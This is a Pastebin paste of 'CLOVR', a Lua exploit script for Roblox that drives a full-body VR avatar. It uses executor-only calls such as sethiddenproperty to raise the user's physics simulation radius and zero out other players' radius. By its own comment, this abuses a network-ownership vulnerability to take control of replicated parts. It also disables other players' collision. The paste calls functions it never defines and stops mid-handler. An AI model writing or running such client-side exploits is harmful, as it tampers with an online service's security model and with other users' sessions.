Advertisement
MindOfPlayer

VR SCRIPT

Jul 25th, 2020
265
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 38.19 KB | None | 0 0
  1. -- CLOVR - FE FULL-BODY VR SCRIPT
  2.  
  3. -- April 21st Update - TOOL HOLDING ADDED
  4.  
  5. -- | made by 0866 and Abacaxl
  6. -- | tysm unverified
  7. -- | Fixed By Gabriellogin#7714
  8.  
  9. --RagDollEnabled is set to true, DON'T set it to false or CLOVR won't work. Feel free to change the other settings though.
  10. spawn(function()
  11.     while wait() do
  12.         sethiddenproperty(game.Players.LocalPlayer, "SimulationRadius", math.huge)
  13.         sethiddenproperty(game.Players.LocalPlayer, "MaximumSimulationRadius", math.huge)
  14.     end
  15. end)
  16.  
  17. --|| Settings:
  18. local StudsOffset = 0 -- Character height (negative if you're too high)
  19. local Smoothness = .5 -- Character interpolation (0.1 - 1 = smooth - rigid)
  20. local AnchorCharacter = true -- Prevent physics from causing inconsistencies
  21. local HideCharacter = false -- Hide character on a platform
  22. local NoCollision = true -- Disable player collision
  23. local ChatEnabled = true -- See chat on your left hand in-game
  24. local ChatLocalRange = 75 -- Local chat range
  25. local ViewportEnabled = true -- View nearby players in a frame
  26. local ViewportRange = 30 -- Maximum distance players are updated
  27. local RagdollEnabled = true -- Use your character instead of hats (NetworkOwner vulnerability)
  28. local RagdollHeadMovement = true -- Move your head separately from your body (+9 second wait)
  29. local AutoRun = false -- Run script on respawn
  30. local AutoRespawn = true -- Kill your real body when your virtual body dies
  31. local WearAllAccessories = false -- Use all leftover hats for the head
  32. local AccurateHandPosition = true -- Move your Roblox hands according to your real hands
  33. local AccessorySettings = {
  34. LeftArm = "";
  35. RightArm = "";
  36. LeftLeg = "";
  37. RightLeg = "";
  38. Torso = "";
  39. Head = true;
  40. BlockArms = true;
  41. BlockLegs = true;
  42. BlockTorso = true;
  43. LimbOffset = CFrame.Angles(math.rad(90), 0, 0);
  44. }
  45. local FootPlacementSettings = {
  46. RightOffset = Vector3.new(.5, 0, 0),
  47. LeftOffset = Vector3.new(-.5, 0, 0),
  48. }
  49. --|| Script:
  50. local Script = nil;
  51. Script = function()
  52. --[[
  53.  Variables
  54. --]]
  55. local Players = game:GetService("Players")
  56. local Client = Players.LocalPlayer
  57. local Character = Client.Character or Client.CharacterAdded:Wait()
  58. local WeldBase = Character:WaitForChild("HumanoidRootPart")
  59. local ArmBase = Character:FindFirstChild("RightHand") or Character:FindFirstChild("Right Arm") or WeldBase
  60. local Backpack = Client:WaitForChild("Backpack")
  61. local Mouse = Client:GetMouse()
  62. local Camera = workspace.CurrentCamera
  63. local VRService = game:GetService("VRService")
  64. local VRReady = VRService.VREnabled
  65. local UserInputService = game:GetService("UserInputService")
  66. local RunService = game:GetService("RunService")
  67. local HttpService = game:GetService("HttpService")
  68. local StarterGui = game:GetService("StarterGui")
  69. local HeadAccessories = {};
  70. local UsedAccessories = {};
  71. local Pointer = false;
  72. local Point1 = false;
  73. local Point2 = false;
  74. local VirtualRig = game:GetObjects("rbxassetid://4468539481")[1]
  75. local VirtualBody = game:GetObjects("rbxassetid://4464983829")[1]
  76. local Anchor = Instance.new("Part")
  77. Anchor.Anchored = true
  78. Anchor.Transparency = 1
  79. Anchor.CanCollide = false
  80. Anchor.Parent = workspace
  81. if RagdollEnabled then
  82. print("RagdollEnabled, thank you for using CLOVR!")
  83. local NetworkAccess = coroutine.create(function()
  84. settings().Physics.AllowSleep = false
  85. while true do game:GetService("RunService").RenderStepped:Wait()
  86. for _,Players in next, game:GetService("Players"):GetChildren() do
  87. if Players ~= game:GetService("Players").LocalPlayer then
  88. Players.MaximumSimulationRadius = 0.1 Players.SimulationRadius = 0 end end
  89. sethiddenproperty(game.Players.LocalPlayer, "MaximumSimulationRadius", math.huge)
  90. game:GetService("Players").LocalPlayer.SimulationRadius = math.huge*math.huge end end)
  91. coroutine.resume(NetworkAccess)
  92. end
  93. --[[
  94.  Character Protection
  95. --]]
  96. local CharacterCFrame = WeldBase.CFrame
  97. if not RagdollEnabled then
  98. Character.Humanoid.AnimationPlayed:Connect(function(Animation)
  99. Animation:Stop()
  100. end)
  101. for _, Track in next, Character.Humanoid:GetPlayingAnimationTracks() do
  102. Track:Stop()
  103. end
  104. if HideCharacter then
  105. local Platform = Instance.new("Part")
  106. Platform.Anchored = true
  107. Platform.Size = Vector3.new(100, 5, 100)
  108. Platform.CFrame = CFrame.new(0, 10000, 0)
  109. Platform.Transparency = 1
  110. Platform.Parent = workspace
  111. Character:MoveTo(Platform.Position + Vector3.new(0, 5, 0))
  112. wait(.5)
  113. end
  114. if AnchorCharacter then
  115. for _, Part in pairs(Character:GetChildren()) do
  116. if Part:IsA("BasePart") then
  117. Part.Anchored = true
  118. end
  119. end
  120. end
  121. end
  122. --[[
  123.  Functions
  124. --]]
  125. function Tween(Object, Style, Direction, Time, Goal)
  126. local tweenInfo = TweenInfo.new(Time, Enum.EasingStyle[Style], Enum.EasingDirection[Direction])
  127. local tween = game:GetService("TweenService"):Create(Object, tweenInfo, Goal)
  128. tween.Completed:Connect(function()
  129. tween:Destroy()
  130. end)
  131. tween:Play()
  132. return tween
  133. end
  134. local function GetMotorForLimb(Limb)
  135. for _, Motor in next, Character:GetDescendants() do
  136. if Motor:IsA("Motor6D") and Motor.Part1 == Limb then
  137. return Motor
  138. end
  139. end
  140. end
  141. local function CreateAlignment(Limb, Part0)
  142. local Attachment0 = Instance.new("Attachment", Part0 or Anchor)
  143. local Attachment1 = Instance.new("Attachment", Limb)
  144. local Orientation = Instance.new("AlignOrientation")
  145. local Position = Instance.new("AlignPosition")
  146. Orientation.Attachment0 = Attachment1
  147. Orientation.Attachment1 = Attachment0
  148. Orientation.RigidityEnabled = false
  149. Orientation.MaxTorque = 20000
  150. Orientation.Responsiveness = 40
  151. Orientation.Parent = Character.HumanoidRootPart
  152. Position.Attachment0 = Attachment1
  153. Position.Attachment1 = Attachment0
  154. Position.RigidityEnabled = false
  155. Position.MaxForce = 40000
  156. Position.Responsiveness = 40
  157. Position.Parent = Character.HumanoidRootPart
  158. Limb.Massless = false
  159. local Motor = GetMotorForLimb(Limb)
  160. if Motor then
  161. Motor:Destroy()
  162. end
  163. return function(CF, Local)
  164. if Local then
  165. Attachment0.CFrame = CF
  166. else
  167. Attachment0.WorldCFrame = CF
  168. end
  169. end;
  170. end
  171. local function GetExtraTool()
  172. for _, Tool in next, Character:GetChildren() do
  173. if Tool:IsA("Tool") and not Tool.Name:match("LIMB_TOOL") then
  174. return Tool
  175. end
  176. end
  177. end
  178. local function GetGripForHandle(Handle)
  179. for _, Weld in next, Character:GetDescendants() do
  180. if Weld:IsA("Weld") and (Weld.Part0 == Handle or Weld.Part1 == Handle) then
  181. return Weld
  182. end
  183. end
  184. wait(.2)
  185. for _, Weld in next, Character:GetDescendants() do
  186. if Weld:IsA("Weld") and (Weld.Part0 == Handle or Weld.Part1 == Handle) then
  187. return Weld
  188. end
  189. end
  190. end
  191. local function CreateRightGrip(Handle)
  192. local RightGrip = Instance.new("Weld")
  193. RightGrip.Name = "RightGrip"
  194. RightGrip.Part1 = Handle
  195. RightGrip.Part0 = WeldBase
  196. RightGrip.Parent = WeldBase
  197. return RightGrip
  198. end
  199. local function CreateAccessory(Accessory, DeleteMeshes)
  200. if not Accessory then
  201. return
  202. end
  203. local HatAttachment = Accessory.Handle:FindFirstChildWhichIsA("Attachment")
  204. local HeadAttachment = VirtualRig:FindFirstChild(HatAttachment.Name, true)
  205. local BasePart = HeadAttachment.Parent
  206. local HatAtt = HatAttachment.CFrame
  207. local HeadAtt = HeadAttachment.CFrame
  208. if DeleteMeshes then
  209. if Accessory.Handle:FindFirstChild("Mesh") then
  210. Accessory.Handle.Mesh:Destroy()
  211. end
  212. end
  213. wait()
  214. local Handle = Accessory:WaitForChild("Handle")
  215. if Handle:FindFirstChildWhichIsA("Weld", true) then
  216. Handle:FindFirstChildWhichIsA("Weld", true):Destroy()
  217. Handle:BreakJoints()
  218. else
  219. Handle:BreakJoints()
  220. end
  221. Handle.Massless = true
  222. Handle.Transparency = 0.5
  223. UsedAccessories[Accessory] = true
  224. local RightGrip = CreateRightGrip(Handle)
  225. wait()
  226. for _, Object in pairs(Handle:GetDescendants()) do
  227. if not Object:IsA("BasePart") then
  228. pcall(function()
  229. Object.Transparency = 1
  230. end)
  231. pcall(function()
  232. Object.Enabled = false
  233. end)
  234. end
  235. end
  236. return Handle, RightGrip, HatAtt, HeadAtt, BasePart;
  237. end
  238. local function GetHeadAccessories()
  239. for _, Accessory in next, Character:GetChildren() do
  240. if Accessory:IsA("Accessory") and not UsedAccessories[Accessory] then
  241. local Handle, RightGrip, HatAtt, HeadAtt, BasePart = CreateAccessory(Accessory)
  242. table.insert(HeadAccessories, {Handle, RightGrip, HatAtt, HeadAtt, BasePart})
  243. do
  244. Handle.Transparency = 1
  245. end
  246. if not WearAllAccessories then
  247. break
  248. end
  249. end
  250. end
  251. end
  252. --[[
  253.  VR Replication Setup
  254. --]]
  255. if not RagdollEnabled then
  256. LeftHandle, LeftHandGrip = CreateAccessory(Character:FindFirstChild(AccessorySettings.LeftArm), AccessorySettings.BlockArms)
  257. RightHandle, RightHandGrip = CreateAccessory(Character:FindFirstChild(AccessorySettings.RightArm), AccessorySettings.BlockArms)
  258. LeftHipHandle, LeftLegGrip = CreateAccessory(Character:FindFirstChild(AccessorySettings.LeftLeg), AccessorySettings.BlockLegs)
  259. RightHipHandle, RightLegGrip = CreateAccessory(Character:FindFirstChild(AccessorySettings.RightLeg), AccessorySettings.BlockLegs)
  260. TorsoHandle, TorsoGrip = CreateAccessory(Character:FindFirstChild(AccessorySettings.Torso), AccessorySettings.BlockTorso)
  261. GetHeadAccessories()
  262. elseif RagdollEnabled then
  263. if RagdollHeadMovement then
  264. Permadeath()
  265. MoveHead = CreateAlignment(Character["Head"])
  266. end
  267. MoveRightArm = CreateAlignment(Character["Right Arm"])
  268. MoveLeftArm = CreateAlignment(Character["Left Arm"])
  269. MoveRightLeg = CreateAlignment(Character["Right Leg"])
  270. MoveLeftLeg = CreateAlignment(Character["Left Leg"])
  271. MoveTorso = CreateAlignment(Character["Torso"])
  272. MoveRoot = CreateAlignment(Character.HumanoidRootPart)
  273. if RagdollHeadMovement then
  274. for _, Accessory in next, Character:GetChildren() do
  275. if Accessory:IsA("Accessory") and Accessory:FindFirstChild("Handle") then
  276. local Attachment1 = Accessory.Handle:FindFirstChildWhichIsA("Attachment")
  277. local Attachment0 = Character:FindFirstChild(tostring(Attachment1), true)
  278. local Orientation = Instance.new("AlignOrientation")
  279. local Position = Instance.new("AlignPosition")
  280. print(Attachment1, Attachment0, Accessory)
  281. Orientation.Attachment0 = Attachment1
  282. Orientation.Attachment1 = Attachment0
  283. Orientation.RigidityEnabled = false
  284. Orientation.ReactionTorqueEnabled = true
  285. Orientation.MaxTorque = 20000
  286. Orientation.Responsiveness = 40
  287. Orientation.Parent = Character.Head
  288. Position.Attachment0 = Attachment1
  289. Position.Attachment1 = Attachment0
  290. Position.RigidityEnabled = false
  291. Position.ReactionForceEnabled = true
  292. Position.MaxForce = 40000
  293. Position.Responsiveness = 40
  294. Position.Parent = Character.Head
  295. end
  296. end
  297. end
  298. end
  299. --[[
  300.  Movement
  301. --]]
  302. VirtualRig.Name = "VirtualRig"
  303. VirtualRig.RightFoot.BodyPosition.Position = CharacterCFrame.p
  304. VirtualRig.LeftFoot.BodyPosition.Position = CharacterCFrame.p
  305. VirtualRig.Parent = workspace
  306. VirtualRig:SetPrimaryPartCFrame(CharacterCFrame)
  307. VirtualRig.Humanoid.Health = 0
  308. VirtualRig:BreakJoints()
  309. --
  310. VirtualBody.Parent = workspace
  311. VirtualBody.Name = "VirtualBody"
  312. VirtualBody.Humanoid.WalkSpeed = 24
  313. VirtualBody.Humanoid.CameraOffset = Vector3.new(0, StudsOffset, 0)
  314. VirtualBody:SetPrimaryPartCFrame(CharacterCFrame)
  315. VirtualBody.Humanoid.Died:Connect(function()
  316. print("Virtual death")
  317. if AutoRespawn then
  318. Character:BreakJoints()
  319. if RagdollHeadMovement and RagdollEnabled then
  320. Network:Unclaim()
  321. Respawn()
  322. end
  323. end
  324. end)
  325. --
  326. Camera.CameraSubject = VirtualBody.Humanoid
  327. Character.Humanoid.WalkSpeed = 0
  328. Character.Humanoid.JumpPower = 1
  329. for _, Part in next, VirtualBody:GetChildren() do
  330. if Part:IsA("BasePart") then
  331. Part.Transparency = 1
  332. end
  333. end
  334. for _, Part in next, VirtualRig:GetChildren() do
  335. if Part:IsA("BasePart") then
  336. Part.Transparency = 1
  337. end
  338. end
  339. if not VRReady then
  340. VirtualRig.RightUpperArm.ShoulderConstraint.RigidityEnabled = true
  341. VirtualRig.LeftUpperArm.ShoulderConstraint.RigidityEnabled = true
  342. end
  343. local OnMoving = RunService.Stepped:Connect(function()
  344. local Direction = Character.Humanoid.MoveDirection
  345. local Start = VirtualBody.HumanoidRootPart.Position
  346. local Point = Start + Direction * 6
  347. VirtualBody.Humanoid:MoveTo(Point)
  348. end)
  349. Character.Humanoid.Jumping:Connect(function()
  350. VirtualBody.Humanoid.Jump = true
  351. end)
  352. UserInputService.JumpRequest:Connect(function()
  353. VirtualBody.Humanoid.Jump = true
  354. end)
  355. --[[
  356.  VR Replication
  357. --]]
  358. if RagdollEnabled then
  359. for _, Part in pairs(Character:GetDescendants()) do
  360. if Part:IsA("BasePart") and Part.Name == "Handle" and Part.Parent:IsA("Accessory") then
  361. Part.LocalTransparencyModifier = 1
  362. elseif Part:IsA("BasePart") and Part.Transparency < 0.5 and Part.Name ~= "Head" then
  363. Part.LocalTransparencyModifier = 0.5
  364. elseif Part:IsA("BasePart") and Part.Name == "Head" then
  365. Part.LocalTransparencyModifier = 1
  366. end
  367. if not Part:IsA("BasePart") and not Part:IsA("AlignPosition") and not Part:IsA("AlignOrientation") then
  368. pcall(function()
  369. Part.Transparency = 1
  370. end)
  371. pcall(function()
  372. Part.Enabled = false
  373. end)
  374. end
  375. end
  376. end
  377. local FootUpdateDebounce = tick()
  378. local function FloorRay(Part, Distance)
  379. local Position = Part.CFrame.p
  380. local Target = Position - Vector3.new(0, Distance, 0)
  381. local Line = Ray.new(Position, (Target - Position).Unit * Distance)
  382. local FloorPart, FloorPosition, FloorNormal = workspace:FindPartOnRayWithIgnoreList(Line, {VirtualRig, VirtualBody, Character})
  383. if FloorPart then
  384. return FloorPart, FloorPosition, FloorNormal, (FloorPosition - Position).Magnitude
  385. else
  386. return nil, Target, Vector3.new(), Distance
  387. end
  388. end
  389. local function Flatten(CF)
  390. local X,Y,Z = CF.X,CF.Y,CF.Z
  391. local LX,LZ = CF.lookVector.X,CF.lookVector.Z
  392. return CFrame.new(X,Y,Z) * CFrame.Angles(0,math.atan2(LX,LZ),0)
  393. end
  394. local FootTurn = 1
  395. local function FootReady(Foot, Target)
  396. local MaxDist
  397. if Character.Humanoid.MoveDirection.Magnitude > 0 then
  398. MaxDist = .5
  399. else
  400. MaxDist = 1
  401. end
  402. local PastThreshold = (Foot.Position - Target.Position).Magnitude > MaxDist
  403. local PastTick = tick() - FootUpdateDebounce >= 2
  404. if PastThreshold or PastTick then
  405. FootUpdateDebounce = tick()
  406. end
  407. return
  408. PastThreshold
  409. or
  410. PastTick
  411. end
  412. local function FootYield()
  413. local RightFooting = VirtualRig.RightFoot.BodyPosition
  414. local LeftFooting = VirtualRig.LeftFoot.BodyPosition
  415. local LowerTorso = VirtualRig.LowerTorso
  416. local Yield = tick()
  417. repeat
  418. RunService.Stepped:Wait()
  419. if
  420. (LowerTorso.Position - RightFooting.Position).Y > 4
  421. or
  422. (LowerTorso.Position - LeftFooting.Position).Y > 4
  423. or
  424. ((LowerTorso.Position - RightFooting.Position) * Vector3.new(1, 0, 1)).Magnitude > 4
  425. or
  426. ((LowerTorso.Position - LeftFooting.Position) * Vector3.new(1, 0, 1)).Magnitude > 4
  427. then
  428. break
  429. end
  430. until tick() - Yield >= .17
  431. end
  432. local function UpdateFooting()
  433. if not VirtualRig:FindFirstChild("LowerTorso") then
  434. wait()
  435. return
  436. end
  437. local Floor, FloorPosition, FloorNormal, Dist = FloorRay(VirtualRig.LowerTorso, 3)
  438. Dist = math.clamp(Dist, 0, 5)
  439. local FootTarget =
  440. VirtualRig.LowerTorso.CFrame *
  441. CFrame.new(FootPlacementSettings.RightOffset) -
  442. Vector3.new(0, Dist, 0) +
  443. Character.Humanoid.MoveDirection * (VirtualBody.Humanoid.WalkSpeed / 8) * 2
  444. if FootReady(VirtualRig.RightFoot, FootTarget) then
  445. VirtualRig.RightFoot.BodyPosition.Position = FootTarget.p
  446. VirtualRig.RightFoot.BodyGyro.CFrame = Flatten(VirtualRig.LowerTorso.CFrame)
  447. end
  448. FootYield()
  449. local FootTarget =
  450. VirtualRig.LowerTorso.CFrame *
  451. CFrame.new(FootPlacementSettings.LeftOffset) -
  452. Vector3.new(0, Dist, 0) +
  453. Character.Humanoid.MoveDirection * (VirtualBody.Humanoid.WalkSpeed / 8) * 2
  454. if FootReady(VirtualRig.LeftFoot, FootTarget) then
  455. VirtualRig.LeftFoot.BodyPosition.Position = FootTarget.p
  456. VirtualRig.LeftFoot.BodyGyro.CFrame = Flatten(VirtualRig.LowerTorso.CFrame)
  457. end
  458. end
  459. local function UpdateTorsoPosition()
  460. if not RagdollEnabled then
  461. if TorsoHandle then
  462. local Positioning = VirtualRig.UpperTorso.CFrame
  463. if not TorsoGrip or not TorsoGrip.Parent then
  464. TorsoGrip = CreateRightGrip(TorsoHandle)
  465. end
  466. local Parent = TorsoGrip.Parent
  467. TorsoGrip.C1 = CFrame.new()
  468. TorsoGrip.C0 = TorsoGrip.C0:Lerp(WeldBase.CFrame:ToObjectSpace(Positioning * CFrame.new(0, -0.25, 0) * AccessorySettings.LimbOffset), Smoothness)
  469. TorsoGrip.Parent = nil
  470. TorsoGrip.Parent = Parent
  471. end
  472. else
  473. local Positioning = VirtualRig.UpperTorso.CFrame
  474. MoveTorso(Positioning * CFrame.new(0, -0.25, 0))
  475. MoveRoot(Positioning * CFrame.new(0, -0.25, 0))
  476. end
  477. end
  478. local function UpdateLegPosition()
  479. if not RagdollEnabled then
  480. if RightHipHandle then
  481. local Positioning =
  482. VirtualRig.RightLowerLeg.CFrame
  483. : Lerp(VirtualRig.RightFoot.CFrame, 0.5)
  484. + Vector3.new(0, 0.5, 0)
  485. if not RightHipHandle or not RightHipHandle.Parent then
  486. RightLegGrip = CreateRightGrip(RightHipHandle)
  487. end
  488. local Parent = RightLegGrip.Parent
  489. RightLegGrip.C1 = CFrame.new()
  490. RightLegGrip.C0 = RightLegGrip.C0:Lerp(WeldBase.CFrame:ToObjectSpace(Positioning * AccessorySettings.LimbOffset), Smoothness)
  491. RightLegGrip.Parent = nil
  492. RightLegGrip.Parent = Parent
  493. end
  494. if LeftHipHandle then
  495. local Positioning =
  496. VirtualRig.LeftLowerLeg.CFrame
  497. : Lerp(VirtualRig.LeftFoot.CFrame, 0.5)
  498. + Vector3.new(0, 0.5, 0)
  499. if not LeftLegGrip or not LeftLegGrip.Parent then
  500. LeftLegGrip = CreateRightGrip(LeftHipHandle)
  501. end
  502. local Parent = LeftLegGrip.Parent
  503. LeftLegGrip.C1 = CFrame.new()
  504. LeftLegGrip.C0 = LeftLegGrip.C0:Lerp(WeldBase.CFrame:ToObjectSpace(Positioning * AccessorySettings.LimbOffset), Smoothness)
  505. LeftLegGrip.Parent = nil
  506. LeftLegGrip.Parent = Parent
  507. end
  508. else
  509. do
  510. local Positioning =
  511. VirtualRig.RightLowerLeg.CFrame
  512. : Lerp(VirtualRig.RightFoot.CFrame, 0.5)
  513. * CFrame.Angles(0, math.rad(180), 0)
  514. + Vector3.new(0, 0.5, 0)
  515. MoveRightLeg(Positioning)
  516. end
  517. do
  518. local Positioning =
  519. VirtualRig.LeftLowerLeg.CFrame
  520. : Lerp(VirtualRig.LeftFoot.CFrame, 0.5)
  521. * CFrame.Angles(0, math.rad(180), 0)
  522. + Vector3.new(0, 0.5, 0)
  523. MoveLeftLeg(Positioning)
  524. end
  525. end
  526. end
  527. warn("VRReady is", VRReady)
  528. local function OnUserCFrameChanged(UserCFrame, Positioning, IgnoreTorso)
  529. local Positioning = Camera.CFrame * Positioning
  530. if not IgnoreTorso then
  531. UpdateTorsoPosition()
  532. UpdateLegPosition()
  533. end
  534. if not RagdollEnabled then
  535. if UserCFrame == Enum.UserCFrame.Head and AccessorySettings.Head then
  536. for _, Table in next, HeadAccessories do
  537. local Handle, RightGrip, HatAtt, HeadAtt, BasePart = unpack(Table)
  538. local LocalPositioning = Positioning
  539. if not RightGrip or not RightGrip.Parent then
  540. RightGrip = CreateRightGrip(Handle)
  541. Table[2] = RightGrip
  542. end
  543. local Parent = RightGrip.Parent
  544. if BasePart then
  545. LocalPositioning = BasePart.CFrame * HeadAtt
  546. end
  547. RightGrip.C1 = HatAtt
  548. RightGrip.C0 = RightGrip.C0:Lerp(WeldBase.CFrame:ToObjectSpace(LocalPositioning), Smoothness)
  549. RightGrip.Parent = nil
  550. RightGrip.Parent = Parent
  551. end
  552. elseif RightHandle and UserCFrame == Enum.UserCFrame.RightHand and AccessorySettings.RightArm then
  553. local HandPosition = Positioning
  554. local LocalPositioning = Positioning
  555. if not RightHandGrip or not RightHandGrip.Parent then
  556. RightHandGrip = CreateRightGrip(RightHandle)
  557. end
  558. if AccurateHandPosition then
  559. HandPosition = HandPosition * CFrame.new(0, 0, 1)
  560. end
  561. if not VRReady then
  562. local HeadRotation = Camera.CFrame - Camera.CFrame.p
  563. HandPosition = VirtualRig.RightUpperArm.CFrame:Lerp(VirtualRig.RightLowerArm.CFrame, 0.5) * AccessorySettings.LimbOffset
  564. --LocalPositioning = (HeadRotation + (HandPosition * CFrame.new(0, 0, 1)).p) * CFrame.Angles(math.rad(-45), 0, 0)
  565. LocalPositioning = HandPosition * CFrame.new(0, 0, 1) * CFrame.Angles(math.rad(-180), 0, 0)
  566. if Point2 then
  567. VirtualRig.RightUpperArm.Aim.MaxTorque = Vector3.new(math.huge, math.huge, math.huge)
  568. VirtualRig.RightUpperArm.Aim.CFrame = Camera.CFrame * AccessorySettings.LimbOffset
  569. elseif VirtualRig.RightUpperArm.Aim.MaxTorque ~= Vector3.new(0, 0, 0) then
  570. VirtualRig.RightUpperArm.Aim.MaxTorque = Vector3.new(0, 0, 0)
  571. end
  572. elseif AccurateHandPosition then
  573. LocalPositioning = HandPosition
  574. end
  575. local Parent = RightHandGrip.Parent
  576. RightHandGrip.C1 = CFrame.new()
  577. RightHandGrip.C0 = RightHandGrip.C0:Lerp(WeldBase.CFrame:ToObjectSpace(HandPosition), Smoothness)
  578. RightHandGrip.Parent = nil
  579. RightHandGrip.Parent = Parent
  580. --
  581. local EquippedTool = GetExtraTool()
  582. if EquippedTool and EquippedTool:FindFirstChild("Handle") then
  583. local EquippedGrip = GetGripForHandle(EquippedTool.Handle)
  584. local Parent = EquippedGrip.Parent
  585. local ArmBaseCFrame = ArmBase.CFrame
  586. if ArmBase.Name == "Right Arm" then
  587. ArmBaseCFrame = ArmBaseCFrame
  588. end
  589. EquippedGrip.C1 = EquippedTool.Grip
  590. EquippedGrip.C0 = EquippedGrip.C0:Lerp(ArmBaseCFrame:ToObjectSpace(LocalPositioning), Smoothness)
  591. EquippedGrip.Parent = nil
  592. EquippedGrip.Parent = Parent
  593. end
  594. elseif LeftHandle and UserCFrame == Enum.UserCFrame.LeftHand and AccessorySettings.LeftArm then
  595. local HandPosition = Positioning
  596. if not LeftHandGrip or not LeftHandGrip.Parent then
  597. LeftHandGrip = CreateRightGrip(LeftHandle)
  598. end
  599. if AccurateHandPosition then
  600. HandPosition = HandPosition * CFrame.new(0, 0, 1)
  601. end
  602. if not VRReady then
  603. HandPosition = VirtualRig.LeftUpperArm.CFrame:Lerp(VirtualRig.LeftLowerArm.CFrame, 0.5) * AccessorySettings.LimbOffset
  604. --warn("Setting HandPosition to hands")
  605. if Point1 then
  606. VirtualRig.LeftUpperArm.Aim.MaxTorque = Vector3.new(math.huge, math.huge, math.huge)
  607. VirtualRig.LeftUpperArm.Aim.CFrame = Camera.CFrame * AccessorySettings.LimbOffset
  608. elseif VirtualRig.LeftUpperArm.Aim.MaxTorque ~= Vector3.new(0, 0, 0) then
  609. VirtualRig.LeftUpperArm.Aim.MaxTorque = Vector3.new(0, 0, 0)
  610. end
  611. end
  612. local Parent = LeftHandGrip.Parent
  613. LeftHandGrip.C1 = CFrame.new()
  614. LeftHandGrip.C0 = LeftHandGrip.C0:Lerp(WeldBase.CFrame:ToObjectSpace(HandPosition), Smoothness)
  615. LeftHandGrip.Parent = nil
  616. LeftHandGrip.Parent = Parent
  617. end
  618. end
  619. if RagdollEnabled then
  620. if UserCFrame == Enum.UserCFrame.Head and RagdollHeadMovement then
  621. MoveHead(Positioning)
  622. elseif UserCFrame == Enum.UserCFrame.RightHand then
  623. local Positioning = Positioning
  624. if not VRReady then
  625. Positioning = VirtualRig.RightUpperArm.CFrame:Lerp(VirtualRig.RightLowerArm.CFrame, 0.5)
  626. elseif AccurateHandPosition then
  627. Positioning = Positioning * CFrame.new(0, 0, 1)
  628. end
  629. if VRReady then
  630. Positioning = Positioning * AccessorySettings.LimbOffset
  631. end
  632. MoveRightArm(Positioning)
  633. if Point2 then
  634. VirtualRig.RightUpperArm.Aim.MaxTorque = Vector3.new(math.huge, math.huge, math.huge)
  635. VirtualRig.RightUpperArm.Aim.CFrame = Camera.CFrame * AccessorySettings.LimbOffset
  636. elseif VirtualRig.RightUpperArm.Aim.MaxTorque ~= Vector3.new(0, 0, 0) then
  637. VirtualRig.RightUpperArm.Aim.MaxTorque = Vector3.new(0, 0, 0)
  638. end
  639. elseif UserCFrame == Enum.UserCFrame.LeftHand then
  640. local Positioning = Positioning
  641. if not VRReady then
  642. Positioning = VirtualRig.LeftUpperArm.CFrame:Lerp(VirtualRig.LeftLowerArm.CFrame, 0.5)
  643. elseif AccurateHandPosition then
  644. Positioning = Positioning * CFrame.new(0, 0, 1)
  645. end
  646. if VRReady then
  647. Positioning = Positioning * AccessorySettings.LimbOffset
  648. end
  649. MoveLeftArm(Positioning)
  650. if Point1 then
  651. VirtualRig.LeftUpperArm.Aim.MaxTorque = Vector3.new(math.huge, math.huge, math.huge)
  652. VirtualRig.LeftUpperArm.Aim.CFrame = Camera.CFrame * AccessorySettings.LimbOffset
  653. elseif VirtualRig.LeftUpperArm.Aim.MaxTorque ~= Vector3.new(0, 0, 0) then
  654. VirtualRig.LeftUpperArm.Aim.MaxTorque = Vector3.new(0, 0, 0)
  655. end
  656. end
  657. end
  658. if UserCFrame == Enum.UserCFrame.Head then
  659. VirtualRig.Head.CFrame = Positioning
  660. elseif UserCFrame == Enum.UserCFrame.RightHand and VRReady then
  661. VirtualRig.RightHand.CFrame = Positioning
  662. elseif UserCFrame == Enum.UserCFrame.LeftHand and VRReady then
  663. VirtualRig.LeftHand.CFrame = Positioning
  664. end
  665. if not VRReady and VirtualRig.LeftHand.Anchored then
  666. VirtualRig.RightHand.Anchored = false
  667. VirtualRig.LeftHand.Anchored = false
  668. elseif VRReady and not VirtualRig.LeftHand.Anchored then
  669. VirtualRig.RightHand.Anchored = true
  670. VirtualRig.LeftHand.Anchored = true
  671. end
  672. end
  673. local CFrameChanged = VRService.UserCFrameChanged:Connect(OnUserCFrameChanged)
  674. local OnStepped = RunService.Stepped:Connect(function()
  675. for _, Part in pairs(VirtualRig:GetChildren()) do
  676. if Part:IsA("BasePart") then
  677. Part.CanCollide = false
  678. end
  679. end
  680. if RagdollEnabled then
  681. for _, Part in pairs(Character:GetChildren()) do
  682. if Part:IsA("BasePart") then
  683. Part.CanCollide = false
  684. end
  685. end
  686. end
  687. if NoCollision then
  688. for _, Player in pairs(Players:GetPlayers()) do
  689. if Player ~= Client and Player.Character then
  690. local Descendants = Player.Character:GetDescendants()
  691. for i = 1, #Descendants do
  692. local Part = Descendants[i]
  693. if Part:IsA("BasePart") then
  694. Part.CanCollide = false
  695. Part.Velocity = Vector3.new()
  696. Part.RotVelocity = Vector3.new()
  697. end
  698. end
  699. end
  700. end
  701.  end
  702. end)
  703. local OnRenderStepped = RunService.Stepped:Connect(function()
  704. Camera.CameraSubject = VirtualBody.Humanoid
  705. if RagdollEnabled then
  706. Character.HumanoidRootPart.CFrame = VirtualRig.UpperTorso.CFrame
  707. Character.HumanoidRootPart.Velocity = Vector3.new(0, 0, 0)
  708. end
  709. if not VRReady then
  710. OnUserCFrameChanged(Enum.UserCFrame.Head, CFrame.new(0, 0, 0))
  711. OnUserCFrameChanged(Enum.UserCFrame.RightHand, CFrame.new(0, 0, 0), true)
  712. OnUserCFrameChanged(Enum.UserCFrame.LeftHand, CFrame.new(0, 0, 0), true)
  713. end
  714. end)
  715. spawn(function()
  716. while Character and Character.Parent do
  717. FootYield()
  718. UpdateFooting()
  719. end
  720. end)
  721. --[[
  722.  Non-VR Support + VR Mechanics
  723. --]]
  724. local OnInput = UserInputService.InputBegan:Connect(function(Input, Processed)
  725. if not Processed then
  726. if Input.KeyCode == Enum.KeyCode.LeftControl or Input.KeyCode == Enum.KeyCode.ButtonL2 then
  727. Tween(VirtualBody.Humanoid, "Elastic", "Out", 1, {
  728. CameraOffset = Vector3.new(0, StudsOffset - 1.5, 0)
  729. })
  730. end
  731. if Input.KeyCode == Enum.KeyCode.X then
  732. if RagdollEnabled and RagdollHeadMovement then
  733. Network:Unclaim()
  734. Respawn()
  735. end
  736. end
  737. if Input.KeyCode == Enum.KeyCode.C then
  738. VirtualBody:MoveTo(Mouse.Hit.p)
  739. VirtualRig:MoveTo(Mouse.Hit.p)
  740. end
  741. end
